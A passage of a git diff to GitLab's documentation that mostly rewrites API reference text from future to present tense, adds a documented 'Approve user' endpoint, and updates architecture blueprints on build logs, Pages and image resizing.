relevant API parameters to update are: + +- `import_url`: URL of remote repository being mirrored (with `username:password` if needed). +- `mirror`: Enables pull mirroring on project when set to `true`. +- `only_mirror_protected_branches`: Set to `true` for protected branches. + ## Start the pull mirroring process for a Project **(STARTER)** > Introduced in [GitLab Starter](https://about.gitlab.com/pricing/) 10.3. diff --git a/doc/api/services.md b/doc/api/services.md index a60eacef1d8..2a50d2c8a18 100644 --- a/doc/api/services.md +++ b/doc/api/services.md @@ -74,7 +74,7 @@ Asana - Teamwork without email Set Asana service for a project. -> This service adds commit messages as comments to Asana tasks. Once enabled, commit messages are checked for Asana task URLs (for example, `https://app.asana.com/0/123456/987654`) or task IDs starting with # (for example, `#987654`). Every task ID found will get the commit comment added to it. You can also close a task with a message containing: `fix #123456`. You can find your API Keys here: <https://developers.asana.com/docs/#authentication-basics>. +> This service adds commit messages as comments to Asana tasks. Once enabled, commit messages are checked for Asana task URLs (for example, `https://app.asana.com/0/123456/987654`) or task IDs starting with # (for example, `#987654`). Every task ID found gets the commit comment added to it. You can also close a task with a message containing: `fix #123456`. You can find your API Keys here: <https://developers.asana.com/docs/#authentication-basics>. ```plaintext PUT /projects/:id/services/asana @@ -84,8 +84,8 @@ Parameters: | Parameter | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `api_key` | string | true | User API token. User must have access to task, all comments will be attributed to this user. | -| `restrict_to_branch` | string | false | Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches. | +| `api_key` | string | true | User API token. User must have access to task, all comments are attributed to this user. | +| `restrict_to_branch` | string | false | Comma-separated list of branches which are automatically inspected. Leave blank to include all branches. | | `push_events` | boolean | false | Enable notifications for push events | ### Delete Asana service @@ -237,7 +237,7 @@ Parameters: | --------- | ---- | -------- | ----------- | | `token` | string | true | Buildkite project GitLab token | | `project_url` | string | true | Pipeline URL. For example, `https://buildkite.com/example/pipeline` | -| `enable_ssl_verification` | boolean | false | DEPRECATED: This parameter has no effect since SSL verification will always be enabled | +| `enable_ssl_verification` | boolean | false | DEPRECATED: This parameter has no effect since SSL verification is always enabled | | `push_events` | boolean | false | Enable notifications for push events | ### Delete Buildkite service @@ -482,7 +482,7 @@ Parameters: | `send_from_committer_email` | boolean | false | Send from committer | | `push_events` | boolean | false | Enable notifications for push events | | `tag_push_events` | boolean | false | Enable notifications for tag push events | -| `branches_to_be_notified` | string | false | Branches to send notifications for. Valid options are "all", "default", "protected", and "default_and_protected". Notifications will be always fired for tag pushes. The default value is "all" | +| `branches_to_be_notified` | string | false | Branches to send notifications for. Valid options are "all", "default", "protected", and "default_and_protected". Notifications are always fired for tag pushes. The default value is "all" | ### Delete Emails on push service @@ -809,7 +809,7 @@ Parameters: | Parameter | Type | Required | Description | | --------- | ---- | -------- | ----------- | | `url` | string | yes | The URL to the Jira project which is being linked to this GitLab project. For example, `https://jira.example.com`. | -| `api_url` | string | no | The base URL to the Jira instance API. Web URL value will be used if not set. For example, `https://jira-api.example.com`. | +| `api_url` | string | no | The base URL to the Jira instance API. Web URL value is used if not set. For example, `https://jira-api.example.com`. | | `username` | string | yes | The username of the user created to be used with GitLab/Jira. | | `password` | string | yes | The password of the user created to be used with GitLab/Jira. | | `active` | boolean | no | Activates or deactivates the service. Defaults to false (deactivated). | @@ -1015,7 +1015,7 @@ Parameters: | Parameter | Type | Required | Description | | --------- | ---- | -------- | ----------- | | `token` | string | true | The PivotalTracker token | -| `restrict_to_branch` | boolean | false | Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches. | +| `restrict_to_branch` | boolean | false | Comma-separated list of branches to automatically inspect. Leave blank to include all branches. | | `push_events` | boolean | false | Enable notifications for push events | ### Delete PivotalTracker service @@ -1325,7 +1325,7 @@ A continuous integration and build server Set JetBrains TeamCity CI service for a project. -> The build configuration in TeamCity must use the build format number `%build.vcs.number%` you will also want to configure monitoring of all branches so merge requests build, that setting is in the VSC root advanced settings. +> The build configuration in TeamCity must use the build format number `%build.vcs.number%`. Configure monitoring of all branches so merge requests build. That setting is in the VSC root advanced settings. ```plaintext PUT /projects/:id/services/teamcity @@ -1411,7 +1411,7 @@ Parameters: - `project_url` (**required**) - Jenkins project URL like `http://jenkins.example.com/job/my-project/` - `multiproject_enabled` (optional) - Multi-project mode is configured in Jenkins GitLab Hook plugin -- `pass_unstable` (optional) - Unstable builds will be treated as passing +- `pass_unstable` (optional) - Unstable builds are treated as passing ### Delete Jenkins CI (Deprecated) service diff --git a/doc/api/settings.md b/doc/api/settings.md index 5b04ee9d368..f3ca2726285 100644 --- a/doc/api/settings.md +++ b/doc/api/settings.md @@ -209,16 +209,16 @@ listed in the descriptions of the relevant settings. | `allow_local_requests_from_hooks_and_services` | boolean | no | (Deprecated: Use `allow_local_requests_from_web_hooks_and_services` instead) Allow requests to the local network from hooks and services. | | `allow_local_requests_from_system_hooks` | boolean | no | Allow requests to the local network from system hooks. | | `allow_local_requests_from_web_hooks_and_services` | boolean | no | Allow requests to the local network from web hooks and services. | -| `archive_builds_in_human_readable` | string | no | Set the duration for which the jobs will be considered as old and expired. Once that time passes, the jobs will be archived and no longer able to be retried. Make it empty to never expire jobs. It has to be no less than 1 day, for example: <code>15 days</code>, <code>1 month</code>, <code>2 years</code>. | +| `archive_builds_in_human_readable` | string | no | Set the duration for which the jobs are considered as old and expired. After that time passes, the jobs are archived and no longer able to be retried. Make it empty to never expire jobs. It has to be no less than 1 day, for example: <code>15 days</code>, <code>1 month</code>, <code>2 years</code>. | | `asset_proxy_enabled` | boolean | no | (**If enabled, requires:** `asset_proxy_url`) Enable proxying of assets. GitLab restart is required to apply changes. | | `asset_proxy_secret_key` | string | no | Shared secret with the asset proxy server. GitLab restart is required to apply changes. | | `asset_proxy_url` | string | no | URL of the asset proxy server. GitLab restart is required to apply changes. | -| `asset_proxy_whitelist` | string or array of strings | no | Assets that match these domain(s) will NOT be proxied. Wildcards allowed. Your GitLab installation URL is automatically whitelisted. GitLab restart is required to apply changes. | +| `asset_proxy_whitelist` | string or array of strings | no | Assets that match these domain(s) are **not** proxied. Wildcards allowed. Your GitLab installation URL is automatically allowlisted. GitLab restart is required to apply changes. | | `authorized_keys_enabled` | boolean | no | By default, we write to the `authorized_keys` file to support Git over SSH without additional configuration. GitLab can be optimized to authenticate SSH keys via the database file. Only disable this if you have configured your OpenSSH server to use the AuthorizedKeysCommand. | | `auto_devops_domain` | string | no | Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages. | -| `auto_devops_enabled` | boolean | no | Enable Auto DevOps for projects by default. It will automatically build, test, and deploy applications based on a predefined CI/CD configuration. | +| `auto_devops_enabled` | boolean | no | Enable Auto DevOps for projects by default. It automatically builds, tests, and deploys applications based on a predefined CI/CD configuration. | | `automatic_purchased_storage_allocation` | boolean | no | Enabling this permits automatic allocation of purchased storage within a namespace. | -| `check_namespace_plan` | boolean | no | **(PREMIUM)** Enabling this will make only licensed EE features available to projects if the project namespace's plan includes the feature or if the project is public. | +| `check_namespace_plan` | boolean | no | **(PREMIUM)** Enabling this makes only licensed EE features available to projects if the project namespace's plan includes the feature or if the project is public. | | `commit_email_hostname` | string | no | Custom hostname (for private commit emails). | | `container_registry_token_expire_delay` | integer | no | Container Registry token duration in minutes. | | `default_artifacts_expire_in` | string | no | Set the default expiration time for each job's artifacts. | @@ -234,7 +234,7 @@ listed in the descriptions of the relevant settings. | `disabled_oauth_sign_in_sources` | array of strings | no | Disabled OAuth sign-in sources. | | `dns_rebinding_protection_enabled` | boolean | no | Enforce DNS rebinding attack protection. | | `domain_denylist_enabled` | boolean | no | (**If enabled, requires:** `domain_denylist`) Allows blocking sign-ups from emails from specific domains. | -| `domain_denylist` | array of strings | no | Users with e-mail addresses that match these domain(s) will NOT be able to sign-up. Wildcards allowed. Use separate lines for multiple entries. Ex: `domain.com`, `*.domain.com`. | +| `domain_denylist` | array of strings | no | Users with e-mail addresses that match these domain(s) **cannot** sign up. Wildcards allowed. Use separate lines for multiple entries. Ex: `domain.com`, `*.domain.com`. | | `domain_allowlist` | array of strings | no | Force people to use only corporate emails for sign-up. Default is `null`, meaning there is no restriction. | | `dsa_key_restriction` | integer | no | The minimum allowed bit length of an uploaded DSA key. Default is `0` (no restriction). `-1` disables DSA keys. | | `ecdsa_key_restriction` | integer | no | The minimum allowed curve size (in bits) of an uploaded ECDSA key. Default is `0` (no restriction). `-1` disables ECDSA keys. | @@ -247,8 +247,8 @@ listed in the descriptions of the relevant settings. | `elasticsearch_aws_region` | string | no | **(PREMIUM)** The AWS region the Elasticsearch domain is configured | | `elasticsearch_aws_secret_access_key` | string | no | **(PREMIUM)** AWS IAM secret access key | | `elasticsearch_aws` | boolean | no | **(PREMIUM)** Enable the use of AWS hosted Elasticsearch | -| `elasticsearch_indexed_field_length_limit` | integer | no | **(PREMIUM)** Maximum size of text fields that will be indexed by Elasticsearch. 0 value means no limit. This does not apply to repository and wiki indexing. | -| `elasticsearch_indexed_file_size_limit_kb` | integer | no | **(PREMIUM)** Maximum size of repository and wiki files that will be indexed by Elasticsearch. | +| `elasticsearch_indexed_field_length_limit` | integer | no | **(PREMIUM)** Maximum size of text fields to index by Elasticsearch. 0 value means no limit. This does not apply to repository and wiki indexing. | +| `elasticsearch_indexed_file_size_limit_kb` | integer | no | **(PREMIUM)** Maximum size of repository and wiki files that are indexed by Elasticsearch. | | `elasticsearch_indexing` | boolean | no | **(PREMIUM)** Enable Elasticsearch indexing | | `elasticsearch_limit_indexing` | boolean | no | **(PREMIUM)** Limit Elasticsearch to index certain namespaces and projects | | `elasticsearch_max_bulk_concurrency` | integer | no | **(PREMIUM)** Maximum concurrency of Elasticsearch bulk requests per indexing operation. This only applies to repository indexing operations. | @@ -272,14 +272,14 @@ listed in the descriptions of the relevant settings. | `file_template_project_id` | integer | no | **(PREMIUM)** The ID of a project to load custom file templates from | | `first_day_of_week` | integer | no | Start day of the week for calendar views and date pickers. Valid values are `0` (default) for Sunday, `1` for Monday, and `6` for Saturday. | | `geo_node_allowed_ips` | string | yes | **(PREMIUM)** Comma-separated list of IPs and CIDRs of allowed secondary nodes. For example, `1.1.1.1, 2.2.2.0/24`. | -| `geo_status_timeout` | integer | no | **(PREMIUM)** The amount of seconds after which a request to get a secondary node status will time out. | +| `geo_status_timeout` | integer | no | **(PREMIUM)** The amount of seconds after which a request to get a secondary node status times out. | | `gitaly_timeout_default` | integer | no | Default Gitaly timeout, in seconds. This timeout is not enforced for Git fetch/push operations or Sidekiq jobs. Set to `0` to disable timeouts. | | `gitaly_timeout_fast` | integer | no | Gitaly fast operation timeout, in seconds. Some Gitaly operations are expected to be fast. If they exceed this threshold, there may be a problem with a storage shard and 'failing fast' can help maintain the stability of the GitLab instance. Set to `0` to disable timeouts. | | `gitaly_timeout_medium` | integer | no | Medium Gitaly timeout, in seconds. This should be a value between the Fast and the Default timeout. Set to `0` to disable timeouts. | | `grafana_enabled` | boolean | no | Enable Grafana. | | `grafana_url` | string | no | Grafana URL. | | `gravatar_enabled` | boolean | no | Enable Gravatar. | -| `hashed_storage_enabled` | boolean | no | Create new projects using hashed storage paths: Enable immutable, hash-based paths and repository names to store repositories on disk. This prevents repositories from having to be moved or renamed when the Project URL changes and may improve disk I/O performance. (Always enabled since 13.0, configuration will be removed in 14.0) | +| `hashed_storage_enabled` | boolean | no | Create new projects using hashed storage paths: Enable immutable, hash-based paths and repository names to store repositories on disk. This prevents repositories from having to be moved or renamed when the Project URL changes and may improve disk I/O performance. (Always enabled since 13.0, configuration is scheduled for removal in 14.0) | | `help_page_hide_commercial_content` | boolean | no | Hide marketing-related entries from help. | | `help_page_support_url` | string | no | Alternate support URL for help page and help dropdown. | | `help_page_text` | string | no | Custom text displayed on the help page. | @@ -303,7 +303,7 @@ listed in the descriptions of the relevant settings. | `max_pages_size` | integer | no | Maximum size of pages repositories in MB | | `max_personal_access_token_lifetime` | integer | no | **(ULTIMATE ONLY)** Maximum allowable lifetime for personal access tokens in days | | `metrics_method_call_threshold` | integer | no | A method call is only tracked when it takes longer than the given amount of milliseconds. | -| `mirror_available` | boolean | no | Allow repository mirroring to configured by project Maintainers. If disabled, only Admins will be able to configure repository mirroring. | +| `mirror_available` | boolean | no | Allow repository mirroring to configured by project Maintainers. If disabled, only Admins can configure repository mirroring. | | `mirror_capacity_threshold` | integer | no | **(PREMIUM)** Minimum capacity to be available before scheduling more mirrors preemptively | | `mirror_max_capacity` | integer | no | **(PREMIUM)** Maximum number of mirrors that can be synchronizing at the same time. | | `mirror_max_delay` | integer | no | **(PREMIUM)** Maximum time (in minutes) between updates that a mirror can have when scheduled to synchronize. | @@ -321,17 +321,17 @@ listed in the descriptions of the relevant settings. | `project_export_enabled` | boolean | no | Enable project export. | | `prometheus_metrics_enabled` | boolean | no | Enable Prometheus metrics. | | `protected_ci_variables` | boolean | no | Environment variables are protected by default. | -| `pseudonymizer_enabled` | boolean | no | **(PREMIUM)** When enabled, GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory. -| `push_event_activities_limit` | integer | no | Number of changes (branches or tags) in a single push to determine whether individual push events or bulk push events will be created. [Bulk push events will be created](../user/admin_area/settings/push_event_activities_limit.md) if it surpasses that value. | -| `push_event_hooks_limit` | integer | no | Number of changes (branches or tags) in a single push to determine whether webhooks and services will be fired or not. Webhooks and services won't be submitted if it surpasses that value. | +| `pseudonymizer_enabled` | boolean | no | **(PREMIUM)** When enabled, GitLab runs a background job that produces pseudonymized CSVs of the GitLab database to upload to your configured object storage directory. +| `push_event_activities_limit` | integer | no | Number of changes (branches or tags) in a single push to determine whether individual push events or bulk push events are created. [Bulk push events are created](../user/admin_area/settings/push_event_activities_limit.md) if it surpasses that value. | +| `push_event_hooks_limit` | integer | no | Number of changes (branches or tags) in a single push to determine whether webhooks and services fire or not. Webhooks and services aren't submitted if it surpasses that value. | | `raw_blob_request_limit` | integer | no | Max number of requests per minute for each raw path. Default: 300. To disable throttling set to 0.| | `recaptcha_enabled` | boolean | no | (**If enabled, requires:** `recaptcha_private_key` and `recaptcha_site_key`) Enable reCAPTCHA. | | `recaptcha_private_key` | string | required by: `recaptcha_enabled` | Private key for reCAPTCHA. | | `recaptcha_site_key` | string | required by: `recaptcha_enabled` | Site key for reCAPTCHA. | | `receive_max_input_size` | integer | no | Maximum push size (MB). | -| `repository_checks_enabled` | boolean | no | GitLab will periodically run `git fsck` in all project and wiki repositories to look for silent disk corruption issues. | +| `repository_checks_enabled` | boolean | no | GitLab periodically runs `git fsck` in all project and wiki repositories to look for silent disk corruption issues. | | `repository_size_limit` | integer | no | **(PREMIUM)** Size limit per repository (MB) | -| `repository_storages_weighted` | hash of strings to integers | no | (GitLab 13.1 and later) Hash of names of taken from `gitlab.yml` to [weights](../administration/repository_storage_paths.md#choose-where-new-repositories-will-be-stored). New projects are created in one of these stores, chosen by a weighted random selection. | +| `repository_storages_weighted` | hash of strings to integers | no | (GitLab 13.1 and later) Hash of names of taken from `gitlab.yml` to [weights](../administration/repository_storage_paths.md#choose-where-new-repositories-are-stored). New projects are created in one of these stores, chosen by a weighted random selection. | | `repository_storages` | array of strings | no | (GitLab 13.0 and earlier) List of names of enabled storage paths, taken from `gitlab.yml`. New projects are created in one of these stores, chosen at random. | | `require_admin_approval_after_user_signup` | boolean | no | When enabled, any user that signs up for an account using the registration form is placed under a **Pending approval** state and has to be explicitly [approved](../user/admin_area/approving_users.md) by an administrator. | | `require_two_factor_authentication` | boolean | no | (**If enabled, requires:** `two_factor_grace_period`) Require all users to set up Two-factor authentication. | @@ -374,9 +374,9 @@ listed in the descriptions of the relevant settings. | `two_factor_grace_period` | integer | required by: `require_two_factor_authentication` | Amount of time (in hours) that users are allowed to skip forced configuration of two-factor authentication. | | `unique_ips_limit_enabled` | boolean | no | (**If enabled, requires:** `unique_ips_limit_per_user` and `unique_ips_limit_time_window`) Limit sign in from multiple IPs. | | `unique_ips_limit_per_user` | integer | required by: `unique_ips_limit_enabled` | Maximum number of IPs per user. | -| `unique_ips_limit_time_window` | integer | required by: `unique_ips_limit_enabled` | How many seconds an IP will be counted towards the limit. | -| `usage_ping_enabled` | boolean | no | Every week GitLab will report license usage back to GitLab, Inc. | -| `user_default_external` | boolean | no | Newly registered users will be external by default. | +| `unique_ips_limit_time_window` | integer | required by: `unique_ips_limit_enabled` | How many seconds an IP is counted towards the limit. | +| `usage_ping_enabled` | boolean | no | Every week GitLab reports license usage back to GitLab, Inc. | +| `user_default_external` | boolean | no | Newly registered users are external by default. | | `user_default_internal_regex` | string | no | Specify an e-mail address regex pattern to identify default internal users. | | `user_oauth_applications` | boolean | no | Allow users to register any application to use GitLab as an OAuth provider. | | `user_show_add_ssh_key_message` | boolean | no | When set to `false` disable the "You won't be able to pull or push project code via SSH" warning shown to users with no uploaded SSH key. | diff --git a/doc/api/system_hooks.md b/doc/api/system_hooks.md index 00cd88c88dd..bfe308a70f5 100644 --- a/doc/api/system_hooks.md +++ b/doc/api/system_hooks.md @@ -55,9 +55,9 @@ POST /hooks | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | | `url` | string | yes | The hook URL | -| `token` | string | no | Secret token to validate received payloads; this will not be returned in the response | -| `push_events` | boolean | no | When true, the hook will fire on push events | -| `tag_push_events` | boolean | no | When true, the hook will fire on new tags being pushed | +| `token` | string | no | Secret token to validate received payloads; this isn't returned in the response | +| `push_events` | boolean | no | When true, the hook fires on push events | +| `tag_push_events` | boolean | no | When true, the hook fires on new tags being pushed | | `merge_requests_events` | boolean | no | Trigger hook on merge requests events | | `repository_update_events` | boolean | no | Trigger hook on repository update events | | `enable_ssl_verification` | boolean | no | Do SSL verification when triggering the hook | diff --git a/doc/api/templates/licenses.md b/doc/api/templates/licenses.md index d1044b23306..6733505405b 100644 --- a/doc/api/templates/licenses.md +++ b/doc/api/templates/licenses.md @@ -125,7 +125,7 @@ GET /templates/licenses/:key NOTE: **Note:** If you omit the `fullname` parameter but authenticate your request, the name of -the authenticated user will be used to replace the copyright holder placeholder. +the authenticated user replaces the copyright holder placeholder. ```shell curl --header "PRIVATE-TOKEN: <your_access_token>" https://gitlab.example.com/api/v4/templates/licenses/mit?project=My+Cool+Project diff --git a/doc/api/users.md b/doc/api/users.md index e1fa97765df..c4774dbdfb4 100644 --- a/doc/api/users.md +++ b/doc/api/users.md @@ -54,7 +54,7 @@ GET /users?username=jack_smith ``` In addition, you can filter users based on the states `blocked` and `active`. -It does not support `active=false` or `blocked=false`. The list of active users +It does not support `active=false` or `blocked=false`. The list of billable users is the total number of users minus the blocked users. ```plaintext @@ -170,7 +170,7 @@ GET /users ] ``` -Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) will also see the `shared_runners_minutes_limit`, and `extra_shared_runners_minutes_limit` parameters. +Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) also see the `shared_runners_minutes_limit`, and `extra_shared_runners_minutes_limit` parameters. ```json [ @@ -184,7 +184,7 @@ Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) ] ``` -Users on GitLab [Silver or higher](https://about.gitlab.com/pricing/) will also see +Users on GitLab [Silver or higher](https://about.gitlab.com/pricing/) also see the `group_saml` provider option: ```json @@ -335,7 +335,7 @@ Example Responses: NOTE: **Note:** The `plan` and `trial` parameters are only available on GitLab Enterprise Edition. -Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) will also see +Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) also see the `shared_runners_minutes_limit`, and `extra_shared_runners_minutes_limit` parameters. ```json @@ -348,7 +348,7 @@ the `shared_runners_minutes_limit`, and `extra_shared_runners_minutes_limit` par } ``` -Users on GitLab.com [Silver, or higher](https://about.gitlab.com/pricing/) will also +Users on GitLab.com [Silver, or higher](https://about.gitlab.com/pricing/) also see the `group_saml` option: ```json @@ -385,10 +385,10 @@ over `password`. In addition, `reset_password` and `force_random_password` can be used together. NOTE: **Note:** -From [GitLab 12.1](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/29888/), `private_profile` will default to `false`. +From [GitLab 12.1](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/29888/), `private_profile` defaults to `false`. NOTE: **Note:** -From [GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/35604), `bio` will default to `""` instead of `null`. +From [GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/35604), `bio` defaults to `""` instead of `null`. ```plaintext POST /users @@ -469,7 +469,7 @@ Parameters: | `username` | No | Username | | `website_url` | No | Website URL | -On password update, user will be forced to change it upon next login. +On password update, the user is forced to change it upon next login. Note, at the moment this method does only return a `404` error, even in cases where a `409` (Conflict) would be more appropriate. For example, when renaming the email address to some existing one. @@ -501,7 +501,7 @@ Parameters: - `id` (required) - The ID of the user - `hard_delete` (optional) - If true, contributions that would usually be [moved to the ghost user](../user/profile/account/delete_account.md#associated-records) - will be deleted instead, as well as groups owned solely by this user. + are deleted instead, as well as groups owned solely by this user. ## List current user (for normal users) @@ -664,7 +664,7 @@ PUT /user/status | `emoji` | string | no | The name of the emoji to use as status. If omitted `speech_balloon` is used. Emoji name can be one of the specified names in the [Gemojione index](https://github.com/bonusly/gemojione/blob/master/config/index.json). | | `message` | string | no | The message to set as a status. It can also contain emoji codes. | -When both parameters `emoji` and `message` are empty, the status will be cleared. +When both parameters `emoji` and `message` are empty, the status is cleared. ```shell curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --data "emoji=coffee" --data "message=I crave coffee" "https://gitlab.example.com/api/v4/user/status" @@ -792,7 +792,7 @@ Parameters: } ``` -Will return created key with status `201 Created` on success. If an +Returns a created key with status `201 Created` on success. If an error occurs a `400 Bad Request` is returned with a message explaining the error: ```json @@ -1147,7 +1147,7 @@ Parameters: } ``` -Will return created email with status `201 Created` on success. If an +Returns a created email with status `201 Created` on success. If an error occurs a `400 Bad Request` is returned with a message explaining the error: ```json @@ -1232,7 +1232,7 @@ Parameters: - `id` (required) - ID of specified user -Will return `201 OK` on success, `404 User Not Found` is user cannot be found or +Returns `201 OK` on success, `404 User Not Found` is user cannot be found or `403 Forbidden` when trying to unblock a user blocked by LDAP synchronization. ## Deactivate user @@ -1275,8 +1275,8 @@ Parameters: Returns: - `201 OK` on success. -- `404 User Not Found` if user cannot be found. -- `403 Forbidden` when trying to activate a user blocked by admin or by LDAP synchronization. +- `404 User Not Found` if the user cannot be found. +- `403 Forbidden` if the user cannot be activated because they are blocked by an administrator or by LDAP synchronization. ### Get user contribution events @@ -1337,6 +1337,44 @@ Example response: ] ``` +## Approve user + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/263107) in GitLab 13.7. + +Approves the specified user. Available only for administrators. + +```plaintext +POST /users/:id/approve +``` + +Parameters: + +- `id` (required) - ID of specified user + +```shell +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/users/42/approve" +``` + +Returns: + +- `201 OK` on success. +- `404 User Not Found` if user cannot be found. +- `403 Forbidden` if the user cannot be approved because they are blocked by an administrator or by LDAP synchronization. + +Example Responses: + +```json +{ "message": "Success" } +``` + +```json +{ "message": "404 User Not Found" } +``` + +```json +{ "message": "The user you are trying to approve is not pending an approval" } +``` + ## Get an impersonation token of a user > Requires admin permissions. @@ -1379,11 +1417,11 @@ Example response: ## Create an impersonation token > Requires admin permissions. -> Token values are returned once. Make sure you save it - you won't be able to access it again. +> Token values are returned once. Make sure you save it - you can't access it again. It creates a new impersonation token. Note that only administrators can do this. You are only able to create impersonation tokens to impersonate the user and perform -both API calls and Git reads and writes. The user will not see these tokens in their profile +both API calls and Git reads and writes. The user can't see these tokens in their profile settings page. ```plaintext @@ -1451,7 +1489,7 @@ CAUTION: **Warning:** This feature might not be available to you. Check the **version history** note above for details. > Requires admin permissions. -> Token values are returned once. Make sure you save it - you won't be able to access it again. +> Token values are returned once. Make sure you save it - you can't access it again. It creates a new personal access token. diff --git a/doc/api/vulnerabilities.md b/doc/api/vulnerabilities.md index f89f2bda2eb..47e887d30d0 100644 --- a/doc/api/vulnerabilities.md +++ b/doc/api/vulnerabilities.md @@ -23,7 +23,7 @@ Every API call to vulnerabilities must be [authenticated](README.md#authenticati Vulnerability permissions inherit permissions from their project. If a project is private, and a user isn't a member of the project to which the vulnerability -belongs, requests to that project will return a `404 Not Found` status code. +belongs, requests to that project returns a `404 Not Found` status code. ## Single vulnerability @@ -77,7 +77,7 @@ Confirms a given vulnerability. Returns status code `304` if the vulnerability i If an authenticated user does not have permission to [confirm vulnerabilities](../user/permissions.md#project-members-permissions), -this request will result in a `403` status code. +this request results in a `403` status code. ```plaintext POST /vulnerabilities/:id/confirm @@ -127,7 +127,7 @@ Resolves a given vulnerability. Returns status code `304` if the vulnerability i If an authenticated user does not have permission to [resolve vulnerabilities](../user/permissions.md#project-members-permissions), -this request will result in a `403` status code. +this request results in a `403` status code. ```plaintext POST /vulnerabilities/:id/resolve @@ -177,7 +177,7 @@ Dismisses a given vulnerability. Returns status code `304` if the vulnerability If an authenticated user does not have permission to [dismiss vulnerabilities](../user/permissions.md#project-members-permissions), -this request will result in a `403` status code. +this request results in a `403` status code. ```plaintext POST /vulnerabilities/:id/dismiss @@ -227,7 +227,7 @@ Reverts a given vulnerability to detected state. Returns status code `304` if th If an authenticated user does not have permission to [revert vulnerability to detected state](../user/permissions.md#project-members-permissions), -this request will result in a `403` status code. +this request results in a `403` status code. ```plaintext POST /vulnerabilities/:id/revert diff --git a/doc/api/vulnerability_exports.md b/doc/api/vulnerability_exports.md index 0ee8a18a46a..a16170d328e 100644 --- a/doc/api/vulnerability_exports.md +++ b/doc/api/vulnerability_exports.md @@ -193,7 +193,7 @@ GET /security/vulnerability_exports/:id/download curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/security/vulnerability_exports/2/download" ``` -The response will be `404 Not Found` if the vulnerability export is not finished yet or was not found. +The response is `404 Not Found` if the vulnerability export is not finished yet or was not found. Example response: diff --git a/doc/api/vulnerability_findings.md b/doc/api/vulnerability_findings.md index bfb1306e4aa..8f4ed278436 100644 --- a/doc/api/vulnerability_findings.md +++ b/doc/api/vulnerability_findings.md @@ -18,11 +18,11 @@ Every API call to vulnerability findings must be [authenticated](README.md#authe Vulnerability findings are project-bound entities. If a user is not a member of a project and the project is private, a request on -that project will result in a `404` status code. +that project results in a `404` status code. If a user is able to access the project but does not have permission to [use the Project Security Dashboard](../user/permissions.md#project-members-permissions), -any request for vulnerability findings of this project will result in a `403` status code. +any request for vulnerability findings of this project results in a `403` status code. CAUTION: **Caution:** This API is in an alpha stage and considered unstable. diff --git a/doc/architecture/blueprints/cloud_native_build_logs/index.md b/doc/architecture/blueprints/cloud_native_build_logs/index.md index f901a724653..f69eb6714d3 100644 --- a/doc/architecture/blueprints/cloud_native_build_logs/index.md +++ b/doc/architecture/blueprints/cloud_native_build_logs/index.md @@ -24,7 +24,7 @@ output to a file on a disk. This is simple, but this mechanism depends on shared local storage - the same file needs to be available on every GitLab web node machine, because GitLab Runner might connect to a different one every time it performs an API request. Sidekiq also needs access to the file because when -a job is complete, a trace file contents will be sent to the object store. +a job is complete, the trace file contents are sent to the object store. ## New architecture @@ -109,16 +109,22 @@ of complexity, maintenance cost and enormous, negative impact on availability. 1. ✓ Evaluate performance and edge-cases, iterate to improve the new architecture 1. ✓ Design cloud native build logs correctness verification mechanisms 1. ✓ Build observability mechanisms around performance and correctness -1. Rollout the feature into production environment incrementally +1. ✓ Rollout the feature into production environment incrementally The work needed to make the new architecture production ready and enabled on -GitLab.com is being tracked in [Cloud Native Build Logs on +GitLab.com had been tracked in [Cloud Native Build Logs on GitLab.com](https://gitlab.com/groups/gitlab-org/-/epics/4275) epic. Enabling this feature on GitLab.com is a subtask of [making the new architecture generally available](https://gitlab.com/groups/gitlab-org/-/epics/3791) for everyone. +## Status + +This change has been implemented and enabled on GitLab.com. + +We are working on [an epic to make this feature more resilient and observable](https://gitlab.com/groups/gitlab-org/-/epics/4860). + ## Who Proposal: @@ -137,7 +143,7 @@ DRIs: | Role | Who |------------------------------|------------------------| -| Product | Jason Yavorska | +| Product | Thao Yeager | | Leadership | Darby Frey | | Engineering | Grzegorz Bizon | diff --git a/doc/architecture/blueprints/cloud_native_gitlab_pages/index.md b/doc/architecture/blueprints/cloud_native_gitlab_pages/index.md index 27d2f1362e5..cf39c1fd241 100644 --- a/doc/architecture/blueprints/cloud_native_gitlab_pages/index.md +++ b/doc/architecture/blueprints/cloud_native_gitlab_pages/index.md @@ -72,9 +72,9 @@ of complexity, maintenance cost and enormous, negative impact on availability. ## New GitLab Pages Architecture -- GitLab Pages is going to source domains' configuration from GitLab's internal +- GitLab Pages sources domains' configuration from GitLab's internal API, instead of reading `config.json` files from a local shared storage. -- GitLab Pages is going to serve static content from Object Storage. +- GitLab Pages serves static content from Object Storage. ```mermaid graph TD diff --git a/doc/architecture/blueprints/image_resizing/index.md b/doc/architecture/blueprints/image_resizing/index.md index 47e2ad24960..bb68bee6753 100644 --- a/doc/architecture/blueprints/image_resizing/index.md +++ b/doc/architecture/blueprints/image_resizing/index.md @@ -8,11 +8,11 @@ description: 'Image Resizing' # Image resizing for avatars and content images -Currently, we are showing all uploaded images 1:1, which is of course not ideal. To improve performance greatly we will add image resizing to the backend. There are two main areas of image resizing to consider; avatars and content images. The MVC for this implementation will focus on Avatars. Avatars requests consist of approximately 70% of total image requests. There is an identified set of sizes we intend to support which makes the scope of this first MVC very narrow. Content image resizing has many more considerations for size and features. It is entirely possible that we have two separate development efforts with the same goal of increasing performance via image resizing. +Currently, we are showing all uploaded images 1:1, which is of course not ideal. To improve performance greatly, add image resizing to the backend. There are two main areas of image resizing 